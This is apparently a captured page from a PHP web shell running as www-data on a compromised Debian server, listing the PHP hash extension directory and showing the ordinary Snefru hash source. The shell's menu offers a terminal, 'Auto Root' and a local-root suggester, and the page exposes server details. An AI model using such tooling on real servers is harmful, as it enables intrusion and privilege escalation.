Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
php-7.4.33 /
ext /
hash /
Delete
Unzip
Name
Size
Permission
Date
Action
.libs
[ DIR ]
drwxr-xr-x
2024-03-12 14:26
sha3
[ DIR ]
drwxrwxr-x
2022-10-31 11:36
tests
[ DIR ]
drwxrwxr-x
2022-10-31 11:36
CREDITS
85
B
-rw-rw-r--
2022-10-31 11:36
bench.php
2.13
KB
-rwxrwxr-x
2022-10-31 11:36
config.m4
1.72
KB
-rw-rw-r--
2022-10-31 11:36
config.w32
1.25
KB
-rw-rw-r--
2022-10-31 11:36
hash.c
42.66
KB
-rw-rw-r--
2022-10-31 11:36
hash.lo
312
B
-rw-r--r--
2024-03-12 14:26
hash.o
220.61
KB
-rw-r--r--
2024-03-12 14:26
hash_adler32.c
2.53
KB
-rw-rw-r--
2022-10-31 11:36
hash_adler32.lo
336
B
-rw-r--r--
2024-03-12 14:26
hash_adler32.o
77.06
KB
-rw-r--r--
2024-03-12 14:26
hash_crc32.c
3.77
KB
-rw-rw-r--
2022-10-31 11:36
hash_crc32.lo
330
B
-rw-r--r--
2024-03-12 14:26
hash_crc32.o
82.4
KB
-rw-r--r--
2024-03-12 14:26
hash_fnv.c
5.86
KB
-rw-rw-r--
2022-10-31 11:36
hash_fnv.lo
324
B
-rw-r--r--
2024-03-12 14:26
hash_fnv.o
78.41
KB
-rw-r--r--
2024-03-12 14:26
hash_gost.c
11.11
KB
-rw-rw-r--
2022-10-31 11:36
hash_gost.lo
327
B
-rw-r--r--
2024-03-12 14:26
hash_gost.o
107.32
KB
-rw-r--r--
2024-03-12 14:26
hash_haval.c
18.89
KB
-rw-rw-r--
2022-10-31 11:36
hash_haval.lo
330
B
-rw-r--r--
2024-03-12 14:26
hash_haval.o
110.66
KB
-rw-r--r--
2024-03-12 14:26
hash_joaat.c
2.62
KB
-rw-rw-r--
2022-10-31 11:36
hash_joaat.lo
330
B
-rw-r--r--
2024-03-12 14:26
hash_joaat.o
73.61
KB
-rw-r--r--
2024-03-12 14:26
hash_md.c
20.1
KB
-rw-rw-r--
2022-10-31 11:36
hash_md.lo
321
B
-rw-r--r--
2024-03-12 14:26
hash_md.o
89.84
KB
-rw-r--r--
2024-03-12 14:26
hash_ripemd.c
24.14
KB
-rw-rw-r--
2022-10-31 11:36
hash_ripemd.lo
333
B
-rw-r--r--
2024-03-12 14:26
hash_ripemd.o
119.11
KB
-rw-r--r--
2024-03-12 14:26
hash_sha.c
34.74
KB
-rw-rw-r--
2022-10-31 11:36
hash_sha.lo
324
B
-rw-r--r--
2024-03-12 14:26
hash_sha.o
104.26
KB
-rw-r--r--
2024-03-12 14:26
hash_sha3.c
8.24
KB
-rw-rw-r--
2022-10-31 11:36
hash_sha3.lo
327
B
-rw-r--r--
2024-03-12 14:26
hash_sha3.o
79.13
KB
-rw-r--r--
2024-03-12 14:26
hash_snefru.c
5.77
KB
-rw-rw-r--
2022-10-31 11:36
hash_snefru.lo
333
B
-rw-r--r--
2024-03-12 14:26
hash_snefru.o
117.71
KB
-rw-r--r--
2024-03-12 14:26
hash_tiger.c
7.5
KB
-rw-rw-r--
2022-10-31 11:36
hash_tiger.lo
330
B
-rw-r--r--
2024-03-12 14:26
hash_tiger.o
133.93
KB
-rw-r--r--
2024-03-12 14:26
hash_whirlpool.c
15.55
KB
-rw-rw-r--
2022-10-31 11:36
hash_whirlpool.lo
342
B
-rw-r--r--
2024-03-12 14:26
hash_whirlpool.o
102.5
KB
-rw-r--r--
2024-03-12 14:26
php_hash.h
5.64
KB
-rw-rw-r--
2022-10-31 11:36
php_hash_adler32.h
1.64
KB
-rw-rw-r--
2022-10-31 11:36
php_hash_crc32.h
1.9
KB
-rw-rw-r--
2022-10-31 11:36
php_hash_crc32_tables.h
10.42
KB
-rw-rw-r--
2022-10-31 11:36
php_hash_fnv.h
2.76
KB
-rw-rw-r--
2022-10-31 11:36
php_hash_gost.h
1.58
KB
-rw-rw-r--
2022-10-31 11:36
php_hash_gost_tables.h
28.76
KB
-rw-rw-r--
2022-10-31 11:36
php_hash_haval.h
2.18
KB
-rw-rw-r--
2022-10-31 11:36
php_hash_joaat.h
1.52
KB
-rw-rw-r--
2022-10-31 11:36
php_hash_md.h
3.75
KB
-rw-rw-r--
2022-10-31 11:36
php_hash_ripemd.h
2.91
KB
-rw-rw-r--
2022-10-31 11:36
php_hash_sha.h
4.03
KB
-rw-rw-r--
2022-10-31 11:36
php_hash_sha3.h
2.34
KB
-rw-rw-r--
2022-10-31 11:36
php_hash_snefru.h
1.66
KB
-rw-rw-r--
2022-10-31 11:36
php_hash_snefru_tables.h
58.27
KB
-rw-rw-r--
2022-10-31 11:36
php_hash_tiger.h
1.8
KB
-rw-rw-r--
2022-10-31 11:36
php_hash_tiger_tables.h
41.31
KB
-rw-rw-r--
2022-10-31 11:36
php_hash_whirlpool.h
1.59
KB
-rw-rw-r--
2022-10-31 11:36
php_hash_whirlpool_tables.h
53.86
KB
-rw-rw-r--
2022-10-31 11:36
Save
Rename
/* +----------------------------------------------------------------------+ | PHP Version 7 | +----------------------------------------------------------------------+ | Copyright (c) The PHP Group | +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@php.net so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Authors: Michael Wallner <mike@php.net> | | Sara Golemon <pollita@php.net> | +----------------------------------------------------------------------+ */ #include "php_hash.h" #include "php_hash_snefru.h" #include "php_hash_snefru_tables.h" #define round(L, C, N, SB) \ SBE = SB[C & 0xff]; \ L ^= SBE; \ N ^= SBE #ifndef DBG_SNEFRU #define DBG_SNEFRU 0 #endif #if DBG_SNEFRU void ph(uint32_t h[16]) { int i; for (i = 0; i < 16; i++) printf ("%08lx", h[i]); printf("\n"); } #endif static inline void Snefru(uint32_t input[16]) { static int shifts[4] = {16, 8, 16, 24}; int b, index, rshift, lshift; const uint32_t *t0,*t1; uint32_t SBE,B00,B01,B02,B03,B04,B05,B06,B07,B08,B09,B10,B11,B12,B13,B14,B15; B00 = input[0]; B01 = input[1]; B02 = input[2]; B03 = input[3]; B04 = input[4]; B05 = input[5]; B06 = input[6]; B07 = input[7]; B08 = input[8]; B09 = input[9]; B10 = input[10]; B11 = input[11]; B12 = input[12]; B13 = input[13]; B14 = input[14]; B15 = input[15]; for (index = 0; index < 8; index++) { t0 = tables[2*index+0]; t1 = tables[2*index+1]; for (b = 0; b < 4; b++) { round(B15, B00, B01, t0); round(B00, B01, B02, t0); round(B01, B02, B03, t1); round(B02, B03, B04, t1); round(B03, B04, B05, t0); round(B04, B05, B06, t0); round(B05, B06, B07, t1); round(B06, B07, B08, t1); round(B07, B08, B09, t0); round(B08, B09, B10, t0); round(B09, B10, B11, t1); round(B10, B11, B12, t1); round(B11, B12, B13, t0); round(B12, B13, B14, t0); round(B13, B14, B15, t1); round(B14, B15, B00, t1); rshift = shifts[b]; lshift = 32-rshift; B00 = (B00 >> rshift) | (B00 << lshift); B01 = (B01 >> rshift) | (B01 << lshift); B02 = (B02 >> rshift) | (B02 << lshift); B03 = (B03 >> rshift) | (B03 << lshift); B04 = (B04 >> rshift) | (B04 << lshift); B05 = (B05 >> rshift) | (B05 << lshift); B06 = (B06 >> rshift) | (B06 << lshift); B07 = (B07 >> rshift) | (B07 << lshift); B08 = (B08 >> rshift) | (B08 << lshift); B09 = (B09 >> rshift) | (B09 << lshift); B10 = (B10 >> rshift) | (B10 << lshift); B11 = (B11 >> rshift) | (B11 << lshift); B12 = (B12 >> rshift) | (B12 << lshift); B13 = (B13 >> rshift) | (B13 << lshift); B14 = (B14 >> rshift) | (B14 << lshift); B15 = (B15 >> rshift) | (B15 << lshift); } } input[0] ^= B15; input[1] ^= B14; input[2] ^= B13; input[3] ^= B12; input[4] ^= B11; input[5] ^= B10; input[6] ^= B09; input[7] ^= B08; #if DBG_SNEFRU ph(input); #endif } static inline void SnefruTransform(PHP_SNEFRU_CTX *context, const unsigned char input[32]) { int i, j; for (i = 0, j = 0; i < 32; i += 4, ++j) { context->state[8+j] = ((unsigned)input[i] << 24) | ((unsigned)input[i+1] << 16) | ((unsigned)input[i+2] << 8) | (unsigned)input[i+3]; } Snefru(context->state); ZEND_SECURE_ZERO(&context->state[8], sizeof(uint32_t) * 8); } PHP_HASH_API void PHP_SNEFRUInit(PHP_SNEFRU_CTX *context) { memset(context, 0, sizeof(*context)); } static const uint32_t MAX32 = 0xffffffffLU; PHP_HASH_API void PHP_SNEFRUUpdate(PHP_SNEFRU_CTX *context, const unsigned char *input, size_t len) { if ((MAX32 - context->count[1]) < (len * 8)) { context->count[0]++; context->count[1] = MAX32 - context->count[1]; context->count[1] = ((uint32_t) len * 8) - context->count[1]; } else { context->count[1] += (uint32_t) len * 8; } if (context->length + len < 32) { memcpy(&context->buffer[context->length], input, len); context->length += (unsigned char)len; } else { size_t i = 0, r = (context->length + len) % 32; if (context->length) { i = 32 - context->length; memcpy(&context->buffer[context->length], input, i); SnefruTransform(context, context->buffer); } for (; i + 32 <= len; i += 32) { SnefruTransform(context, input + i); } memcpy(context->buffer, input + i, r); ZEND_SECURE_ZERO(&context->buffer[r], 32 - r); context->length = (unsigned char)r; } } PHP_HASH_API void PHP_SNEFRUFinal(unsigned char digest[32], PHP_SNEFRU_CTX *context) { uint32_t i, j; if (context->length) { SnefruTransform(context, context->buffer); } context->state[14] = context->count[0]; context->state[15] = context->count[1]; Snefru(context->state); for (i = 0, j = 0; j < 32; i++, j += 4) { digest[j] = (unsigned char) ((context->state[i] >> 24) & 0xff); digest[j + 1] = (unsigned char) ((context->state[i] >> 16) & 0xff); digest[j + 2] = (unsigned char) ((context->state[i] >> 8) & 0xff); digest[j + 3] = (unsigned char) (context->state[i] & 0xff); } ZEND_SECURE_ZERO(context, sizeof(*context)); } const php_hash_ops php_hash_snefru_ops = { (php_hash_init_func_t) PHP_SNEFRUInit, (php_hash_update_func_t) PHP_SNEFRUUpdate, (php_hash_final_func_t) PHP_SNEFRUFinal, (php_hash_copy_func_t) php_hash_copy, 32, 32, sizeof(PHP_SNEFRU_CTX), 1 };